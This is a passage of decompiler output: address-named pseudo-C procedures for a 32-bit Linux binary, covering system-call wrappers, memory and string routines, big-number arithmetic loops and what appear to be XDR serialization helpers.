        edx = *(ebx + 16);
        *(ebx + 16) = *(ebx + 16) + 4;
    }
    eax = *Ac;
    asm("xchg al,ah");
    asm("ror eax,0x10");
    asm("xchg al,ah");
    *edx = eax;
    eax = 1;
L08065907:
}

/*	Procedure: 0x08065910 - 0x0806597A
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08065910(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edi = A10;
    esi = *(A8 + 12);
L0806591f:
    do {
        if(edi == 0) {
            goto L0806596c;
        }
        ebx = *(esi + 52);
        if(ebx != 0) {
            eax = ebx;
            if(edi < ebx) {
                eax = edi;
            }
            ebx = eax;
            if(L08065634(esi, Ac, ebx) == 0) {
                break;
            }
            Ac = Ac + ebx;
            *(esi + 52) = *(esi + 52) - ebx;
            edi = edi - ebx;
            goto L0806591f;
        }
        if(*(esi + 56) != 0) {
            break;
        }
        (save)esi;
    } while(L08065698() != 0);
    eax = 0;
    goto L08065971;
L0806596c:
    eax = 1;
L08065971:
}

/*	Procedure: 0x0806597B - 0x080659EA
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0806597B(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edi = A10;
    esi = *(A8 + 12);
L0806598b:
    do {
        if(edi == 0) {
            goto L080659dc;
        }
        ebx = *(esi + 20) - *(esi + 16);
        eax = ebx;
        if(edi < ebx) {
            eax = edi;
        }
        ebx = eax;
        L08056480(Ac, *(esi + 16), ebx);
        eax = ebx + *(esi + 16);
        *(esi + 16) = eax;
        Ac = Ac + ebx;
        edi = edi - ebx;
        if(*(esi + 20) != eax) {
            goto L0806598b;
        }
        *(esi + 28) = 1;
    } while(L08065588(esi, 0) != 0);
    eax = 0;
    goto L080659e1;
L080659dc:
    eax = 1;
L080659e1:
}

/*	Procedure: 0x080659EB - 0x080659EB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080659EB()
{



}

/*	Procedure: 0x080659EC - 0x08065A3F
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L080659EC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 12);
    edx = L08066124( *ebx, 0, 1);
    if(edx != -1) {
        eax = *A8;
        if(eax != 0) {
            if(eax == 1) {
                goto L08065a24;
            }
        } else {
            edx = edx + *(ebx + 16) - *(ebx + 12);
            goto L08065a35;
L08065a24:
            edx = edx - *(ebx + 48) - *(ebx + 44);
            goto L08065a35;
        }
        edx = -1;
    }
L08065a35:
    return(edx);
}

/*	Procedure: 0x08065A40 - 0x08065AB7
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 12
 */

L08065A40(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  esi;



    esi = *(A8 + 12);
    eax = L080659EC(A8);
    edx = eax - Ac;
    if(eax != -1) {
        eax = *A8;
        if(eax != 0) {
            if(eax == 1) {
                goto L08065a88;
            }
        } else {
            eax = *(esi + 16) - edx;
            if(*(esi + 24) < eax && *(esi + 20) > eax) {
                *(esi + 16) = eax;
                eax = 1;
                goto L08065aae;
L08065a88:
                eax = *(esi + 44) - edx;
                if(*(esi + 52) > edx && *(esi + 48) >= eax && *(esi + 40) <= eax) {
                    *(esi + 44) = eax;
                    *(esi + 52) = *(esi + 52) - edx;
                    eax = 1;
                    goto L08065aae;
                }
            }
        }
    }
    eax = 0;
L08065aae:
}

/*	Procedure: 0x08065AB8 - 0x08065B08
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L08065AB8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    eax = A8;
    edx = *(eax + 12);
    ebx = 0;
    eax = *eax;
    if(eax != 0) {
        if(eax == 1) {
            goto L08065ae8;
        }
    } else {
        eax = Ac + *(edx + 16);
        if(*(edx + 20) >= eax) {
            ebx = *(edx + 16);
            *(edx + 16) = eax;
            goto L08065b00;
L08065ae8:
            if(*(edx + 52) >= Ac && *(edx + 48) >= Ac + *(edx + 44)) {
                ebx = *(edx + 44);
                *(edx + 52) = *(edx + 52) - Ac;
                *(edx + 44) = *(edx + 44) + Ac;
            }
        }
    }
L08065b00:
    return(ebx);
}

/*	Procedure: 0x08065B09 - 0x08065B2B
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08065B09(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 12);
    L0805C290( *(ebx + 4));
    return(L0805C290(ebx));
}

/*	Procedure: 0x08065B2C - 0x08065B86
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08065B2C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 12);
    goto L08065b68;
L08065b63:
    eax = 0;
    goto L08065b80;
L08065b68:
    do {
        if(*(ebx + 52) <= 0 && *(ebx + 56) != 0) {
            goto L08065b74;
        }
        if(L080656E8(ebx, *(ebx + 52)) == 0) {
            break;
        }
        *(ebx + 52) = 0;
        if(*(ebx + 56) != 0) {
            goto L08065b68;
        }
        (save)ebx;
    } while(L08065698() != 0);
    goto L08065b63;
L08065b74:
    *(ebx + 56) = 0;
    eax = 1;
L08065b80:
}

/*	Procedure: 0x08065B87 - 0x08065BE3
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08065B87(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    ebx = *(A8 + 12);
L08065bbf:
    do {
        if(*(ebx + 52) <= 0 && *(ebx + 56) != 0) {
            goto L08065bce;
        }
        if(L080656E8(ebx, *(ebx + 52)) == 0) {
            break;
        }
        *(ebx + 52) = 0;
        if(*(ebx + 56) != 0) {
            goto L08065bbf;
        }
        (save)ebx;
    } while(L08065698() != 0);
    goto L08065bd8;
L08065bce:
    if(*(ebx + 48) != *(ebx + 44)) {
        eax = 0;
    } else {
L08065bd8:
        eax = 1;
    }
}

/*	Procedure: 0x08065BE4 - 0x08065C44
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08065BE4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    ecx = *(A8 + 12);
    if(Ac != 0 || *(ecx + 28) != 0 || *(ecx + 20) <= *(ecx + 16) + 4) {
        *(ecx + 28) = 0;
        return(L08065588(ecx, 1));
    }
    eax = *(ecx + 16) - *(ecx + 24) + -4;
    edx = *(ecx + 24);
    eax = eax | -2147483648;
    asm("xchg al,ah");
    asm("ror eax,0x10");
    asm("xchg al,ah");
    *edx = eax;
    *(ecx + 24) = *(ecx + 16);
    *(ecx + 16) = *(ecx + 16) + 4;
    esp = ebp;
    return(1);
}

/*	Procedure: 0x08065C45 - 0x08065C47
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065C45()
{



}

/*	Procedure: 0x08065C48 - 0x08065C53
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065C48()
{



    return(256);
}

/*	Procedure: 0x08065C54 - 0x08065C82
 *	Argument size: -4
 *	Local size: 8
 *	Save regs size: 0
 */

L08065C54(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vfffffffc = A8;
    if(sigprocmask(SIG_SETMASK, & Vfffffffc, & Vfffffff8) < 0) {
        return(-1);
    }
    esp = ebp;
    return(Vfffffff8);
}

/*	Procedure: 0x08065C83 - 0x08065C83
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065C83()
{



}

/*	Procedure: 0x08065C84 - 0x08065CEA
 *	Argument size: 8
 *	Local size: 392
 *	Save regs size: 8
 */

L08065C84(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffe78;
	/* unknown */ void  Vffffffbd;



    if(A8 != 0) {
        if(L08057390( & Vfffffe78) == -1) {
            goto L08065cda;
        }
        edx = & Vffffffbd;
        al = 0;
        edi = edx;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        if(Ac >= !ecx) {
            (save)edx;
            L08056640(A8);
            eax = 0;
            goto L08065cdf;
        }
    }
    *L08078B14 = 22;
L08065cda:
    eax = -1;
L08065cdf:
    esp = ebp + -400;
}

/*	Procedure: 0x08065CEB - 0x08065CEB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065CEB()
{



}

/*	Procedure: 0x08065CEC - 0x08065D4C
 *	Argument size: 24
 *	Local size: 28
 *	Save regs size: 12
 */

L08065CEC(A8, Ac, A10, A14, A18, A1c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    Vffffffe8 = A8;
    Vffffffec = Ac;
    Vfffffff0 = A10;
    Vfffffff4 = A14;
    Vfffffff8 = A18;
    Vfffffffc = A1c;
    eax = 90;
    ebx = & Vffffffe8;
    asm("int 0x80");
    edx = eax;
    if(edx + 4096 <= 4095) {
        *L08078B14 = ~edx;
        edx = -1;
    }
    eax = edx;
    esp = ebp - 40;
}

/*	Procedure: 0x08065D4D - 0x08065D4F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065D4D()
{



}

/*	Procedure: 0x08065D50 - 0x08065D89
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08065D50(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(A8 == 1) {
        eax = 106;
        asm("int 0x80");
        if(eax >= 0) {
            goto L08065d83;
        }
        *L08078B14 = ~eax;
    } else {
        *L08078B14 = 22;
    }
    eax = -1;
L08065d83:
}

/*	Procedure: 0x08065D8A - 0x08065D8B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065D8A()
{



}

/*	Procedure: 0x08065D8C - 0x08065DC5
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08065D8C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(A8 == 1) {
        eax = 108;
        asm("int 0x80");
        if(eax >= 0) {
            goto L08065dbf;
        }
        *L08078B14 = ~eax;
    } else {
        *L08078B14 = 22;
    }
    eax = -1;
L08065dbf:
}

/*	Procedure: 0x08065DC6 - 0x08065DDE
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08065DC6(A8)
/* unknown */ void  A8;
{



    eax = L080661E8(A8);
    if(eax == -1) {
        eax = 0;
    }
}

/*	Procedure: 0x08065DDF - 0x08065E19
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08065DDF(A8)
/* unknown */ void  A8;
{



    if(L08066230() == 0) {
        if(*L08078B30 == 0x8065de0) {
            *L08078B30 = 0x8065dc8;
        }
        eax = L080661E8(A8);
        if(eax != -1) {
            goto L08065e13;
        }
    }
    eax = 0;
L08065e13:
}

/*	Procedure: 0x08065E1A - 0x08065E1B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08065E1A()
{



}

/*	Procedure: 0x08065E1C - 0x080660F0
 *	Argument size: 12
 *	Local size: 8
 *	Save regs size: 12
 */

L08065E1C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edi = 0;
    Vfffffff8 = 0;
    if(A10 > 0) {
        ebx = Ac;
        eax = A10 & 31;
        if(A10 > 0) {
            if(eax == 0) {
                goto L08065ef8;
            }
            if(eax > 8) {
                if(eax > 16) {
                    if(eax >= 25) {
                        goto L08065ef8;
                    }
                    eax = 8;
                    if(A10 <= 8) {
                        eax = A10;
                    }
                    eax = L08066180(A8, ebx, eax);
                    esi = eax;
                    if(esi < 0) {
                        goto L08065fab;
                    }
                    ebx = ebx + 64;
                    edi = edi + 8;
                    Vfffffff8 = Vfffffff8 + esi;
                }
                esi = A10 - edi;
                eax = 8;
                if(esi <= 8) {
                    eax = esi;
                }
                eax = L08066180(A8, ebx, eax);
                esi = eax;
                if(esi < 0) {
                    goto L08065fab;
                }
                ebx = ebx + 64;
                edi = edi + 8;
                Vfffffff8 = Vfffffff8 + esi;
            }
        }
        esi = A10 - edi;
        eax = 8;
        if(esi <= 8) {
            eax = esi;
        }
        eax = L08066180(A8, ebx, eax);
        esi = eax;
        if(esi >= 0) {
            ebx = ebx + 64;
            edi = edi + 8;
            goto L08065fc2;
L08065ef8:
            esi = A10 - edi;
            eax = 8;
            if(esi <= 8) {
                eax = esi;
            }
            eax = L08066180(A8, ebx, eax);
            esi = eax;
            if(esi >= 0) {
                ebx = ebx + 64;
                eax = edi + 8;
                Vfffffff8 = Vfffffff8 + esi;
                esi = A10 - eax;
                eax = 8;
                if(esi <= 8) {
                    eax = esi;
                }
                eax = L08066180(A8, ebx, eax);
                esi = eax;
                if(esi >= 0) {
                    ebx = ebx + 64;
                    eax = edi + 16;
                    Vfffffff8 = Vfffffff8 + esi;
                    esi = A10 - eax;
                    eax = 8;
                    if(esi <= 8) {
                        eax = esi;
                    }
                    eax = L08066180(A8, ebx, eax);
                    esi = eax;
                    if(esi >= 0) {
                        ebx = ebx + 64;
                        eax = edi + 24;
                        Vfffffff8 = Vfffffff8 + esi;
                        esi = A10 - eax;
                        eax = 8;
                        if(esi <= 8) {
                            eax = esi;
                        }
                        eax = L08066180(A8, ebx, eax);
                        esi = eax;
                        if(esi >= 0) {
                            goto L08065fbc;
                        }
                    }
                }
            }
        }
L08065fab:
        if(*L08078B14 == 38) {
            goto L08065fd8;
        }
        goto L080660e7;
L08065fbc:
        ebx = ebx + 64;
        edi = edi + 32;
L08065fc2:
        Vfffffff8 = Vfffffff8 + esi;
        if(A10 > edi) {
            goto L08065ef8;
        }
    }
    eax = Vfffffff8;
    goto L080660e7;
L08065fd8:
    *L08078B14 = 0;
    Vfffffff8 = 0;
    edi = 0;
    if(A10 > 0) {
        eax = A10 & 3;
        if(A10 > 0) {
            if(eax == 0) {
                goto L08066034;
            }
            if(eax > 1) {
                if(eax > 2) {
                    Vfffffff8 = *(Ac + 4);
                    edi = 1;
                }
                Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 4);
                edi = edi + 1;
            }
        }
        Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 4);
        edi = edi + 1;
        if(A10 > edi) {
L08066034:
            do {
                Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 4);
                Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 12);
                Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 20);
                Vfffffff8 = Vfffffff8 + *(Ac + edi * 8 + 28);
                edi = edi + 4;
            } while(A10 > edi);
        }
    }
    esp = esp - (Vfffffff8 + 3 & 252);
    Vfffffffc = esp;
    esi = L0805730C(A8, Vfffffffc, Vfffffff8);
    if(esi < 0) {
        eax = -1;
    } else {
        if(esi == 0) {
            eax = 0;
        } else {
            Vfffffff8 = esi;
            edi = 0;
            if(A10 > 0) {
                do {
                    ebx = *(Ac + edi * 8 + 4) <= Vfffffff8 ? *(Ac + edi * 8 + 4) : Vfffffff8;
                    eax = *(Ac + edi * 8);
                    L0805652C(eax, Vfffffffc, ebx);
                    Vfffffffc = Vfffffffc + ebx;
                    if(Vfffffff8 = Vfffffff8 - ebx) {
                        break;
                    }
                    edi = edi + 1;
                } while(A10 > edi);
            }
            eax = esi;
        }
    }
L080660e7:
    esp = ebp - 20;
}

/*	Procedure: 0x080660F1 - 0x080660F3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080660F1()
{



}

/*	Procedure: 0x080660F4 - 0x08066122
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L080660F4(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 55;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08066123 - 0x08066123
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066123()
{



}

/*	Procedure: 0x08066124 - 0x08066152
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L08066124(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 19;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08066153 - 0x08066153
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066153()
{



}

/*	Procedure: 0x08066154 - 0x0806617F
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 4
 */

L08066154(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = 91;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x08066180 - 0x080661AE
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 4
 */

L08066180(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    eax = 145;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx < 0) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080661AF - 0x080661AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080661AF()
{



}

/*	Procedure: 0x080661B0 - 0x080661E7
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 8
 */

L080661B0(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{



    eax = 163;
    edx = A10;
    asm("int 0x80");
    edx = eax;
    if(edx > -4096) {
        eax = L08056E64( ~edx);
        (restore)edx;
        *eax = edx;
        eax = -1;
    }
}

/*	Procedure: 0x080661E8 - 0x0806622F
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L080661E8(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    if(L08066230() == 0) {
        ebx = A8 + *L08079280;
        eax = 45;
        asm("int 0x80");
        *L08079280 = eax;
        if(eax == ebx) {
            eax = ebx - A8;
            goto L08066227;
        }
        *L08078B14 = 12;
    }
    eax = -1;
L08066227:
}

/*	Procedure: 0x08066230 - 0x08066268
 *	Argument size: -4
 *	Local size: 4
 *	Save regs size: 4
 */

L08066230()
{
	/* unknown */ void  ebx;



    if(*L08079280 == 0) {
        eax = 45;
        ebx = 0;
        asm("int 0x80");
        *L08079280 = eax;
        if(eax != 0) {
            goto L08066260;
        }
        *L08078B14 = 12;
        eax = -1;
    } else {
L08066260:
        eax = 0;
    }
}

/*	Procedure: 0x08066269 - 0x0806626B
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066269()
{



}

/*	Procedure: 0x0806626C - 0x080662A8
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L0806626C(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{
	/* unknown */ void  ebx;



    ebx = Ac;
    if(ebx > 0) {
        eax = 0;
        asm("cld");
        if(ebx > 11) {
            edx = ~A8 & 3;
            ebx = ebx - edx;
            ecx = edx;
            asm("rep stosb");
            ecx = ebx >> 2;
            asm("rep stosd");
            ebx = ebx & 3;
        }
        ecx = ebx;
        asm("rep stosb");
    }
}

/*	Procedure: 0x080662A9 - 0x080662AF
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080662A9()
{



}

/*	Procedure: 0x080662B0 - 0x08066374
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L080662B0(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  edi;



    eax = 0;
    if(!(ecx = A8 & 3)) {
        if(*A8 == ch) {
            goto L0806636e;
        }
        eax = 1;
        ecx = ecx ^ 3;
        == ? L080662f3 : ;
        if(*(A8 + 1) == ch) {
            goto L0806636e;
        }
        eax = 2;
        if(!(ecx = ecx - 1)) {
            if(*(A8 + 2) == ch) {
                goto L0806636e;
            }
            eax = 3;
        }
    }
    while(1) {
        ecx = *(A8 + eax);
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L0806635b;
        }
        ecx = *(A8 + eax + 4);
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08066358;
        }
        ecx = *(A8 + eax + 8);
        if((edi = -16843009 + ecx) || (edi = (edi ^ ecx | -16843009) + 1)) {
            goto L08066355;
        }
        ecx = *(A8 + eax + 12);
        if((edi = -16843009 + ecx) || !(edi = (edi ^ ecx | -16843009) + 1)) {
            break;
        }
        eax = eax + 16;
    }
    eax = eax + 4;
L08066355:
    eax = eax + 4;
L08066358:
    eax = eax + 4;
L0806635b:
    if(cl != 0) {
        eax = eax + 1;
        if(ch != 0) {
            eax = eax + 1;
            if(!(ecx & 16711680)) {
                eax = eax + 1;
            }
        }
    }
L0806636e:
}

/*	Procedure: 0x08066375 - 0x0806637F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066375()
{



}

/*	Procedure: 0x08066380 - 0x0806641D
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 8
 */

L08066380(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    edi = A8;
    esi = Ac;
    edx = A10;
    ecx = A14;
    eax = ecx;
    ecx = ecx >> 3;
    if(!(eax = ~eax & 7)) {
        ecx = ecx + 1;
        edi = edi - (eax << 2);
        esi = esi - eax;
        edx = edx - eax;
        goto ((eax >> 2) + (eax >> 2) * 8 + 0x80663bd);
    }
    do {
        eax = *esi;
        asm("adc eax,[edx]");
        *edi = eax;
        eax = *(esi + 4);
        asm("adc eax,[edx+0x4]");
        *(edi + 4) = eax;
        eax = *(esi + 8);
        asm("adc eax,[edx+0x8]");
        *(edi + 8) = eax;
        eax = *(esi + 12);
        asm("adc eax,[edx+0xc]");
        *(edi + 12) = eax;
        eax = *(esi + 16);
        asm("adc eax,[edx+0x10]");
        *(edi + 16) = eax;
        eax = *(esi + 20);
        asm("adc eax,[edx+0x14]");
        *(edi + 20) = eax;
        eax = *(esi + 24);
        asm("adc eax,[edx+0x18]");
        *(edi + 24) = eax;
        eax = *(esi + 28);
        asm("adc eax,[edx+0x1c]");
        *(edi + 28) = eax;
        edi = edi + 32;
        esi = esi + 32;
        edx = edx + 32;
    } while(ecx = ecx - 1);
    asm("sbb eax,eax");
    return(~eax);
}

/*	Procedure: 0x0806641E - 0x0806641F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806641E()
{



}

/*	Procedure: 0x08066420 - 0x08066461
 *	Argument size: 16
 *	Local size: 0
 *	Save regs size: 12
 */

L08066420(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    (save)ebp;
    edi = A8 + A10 * 4;
    esi = Ac + A10 * 4;
    ecx = ~A10;
    ebp = 0;
    do {
        eax = *(esi + ecx * 4);
        asm("mul ebx");
        eax = eax + ebp;
        asm("adc edx,+0x0");
        *(edi + ecx * 4) = *(edi + ecx * 4) + eax;
        asm("adc edx,+0x0");
        ebp = edx;
    } while(ecx = ecx + 1);
    eax = ebp;
    (restore)ebp;
}

/*	Procedure: 0x08066462 - 0x08066463
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08066462()
{



}

/*	Procedure: 0x08066464 - 0x0806648D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08066464(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065304(A8, & Ac, 256) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x0806648E - 0x0806648F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806648E()
{



}

/*	Procedure: 0x08066490 - 0x080664B5
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L08066490(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065304(A8, Ac, 64) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x080664B6 - 0x080664B7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080664B6()
{



}

/*	Procedure: 0x080664B8 - 0x080664E1
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080664B8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065304(A8, Ac, 256) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x080664E2 - 0x080664E3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080664E2()
{



}

/*	Procedure: 0x080664E4 - 0x08066511
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080664E4(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L080651B8(A8, Ac, Ac + 4, 1024) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x08066512 - 0x08066562
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066512(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08066464(A8, *Ac) != 0 && L08066490(A8, Ac + 4) != 0 && L080664E4(A8, Ac + 8) != 0 ? 1 : 0;
}

/*	Procedure: 0x08066563 - 0x0806659E
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066563(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08066464(A8, *Ac) != 0) {
        if(L08066490(A8, Ac + 4) == 0) {
            goto L08066594;
        }
        eax = 1;
    } else {
L08066594:
        eax = 0;
    }
}

/*	Procedure: 0x0806659F - 0x080665DA
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L0806659F(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L080664E4(A8, Ac + 4) != 0 ? 1 : 0;
}

/*	Procedure: 0x080665DB - 0x080665DB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080665DB()
{



}

/*	Procedure: 0x080665DC - 0x08066626
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080665DC(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L080664E4(A8, Ac + 12) != 0 && L080664E4(A8, Ac + 4) != 0 ? 1 : 0;
}

/*	Procedure: 0x08066627 - 0x08066662
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066627(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L080664B8(A8, Ac + 4) != 0 ? 1 : 0;
}

/*	Procedure: 0x08066663 - 0x0806669E
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08066663(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = L08064F10(A8, Ac) != 0 && L08064F10(A8, Ac + 4) != 0 ? 1 : 0;
}

/*	Procedure: 0x0806669F - 0x0806669F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806669F()
{



}

/*	Procedure: 0x080666A0 - 0x080666E5
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L080666A0(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08065098(A8, Ac) != 0) {
        eax = *Ac;
        if(eax == 0 || eax == 1 && L080665DC(A8, Ac + 4) != 0) {
            goto L080666d8;
        }
    }
    eax = 0;
    goto L080666dd;
L080666d8:
    eax = 1;
L080666dd:
}

/*	Procedure: 0x080666E6 - 0x080666E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080666E6()
{



}

/*	Procedure: 0x080666E8 - 0x0806670D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080666E8(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(L08066490(A8, & Ac) != 0) {
        return(1);
    }
    esp = ebp;
    return(0);
}

/*	Procedure: 0x0806670E - 0x08066752
 *	Argument size: 8
 *	Local size: 0
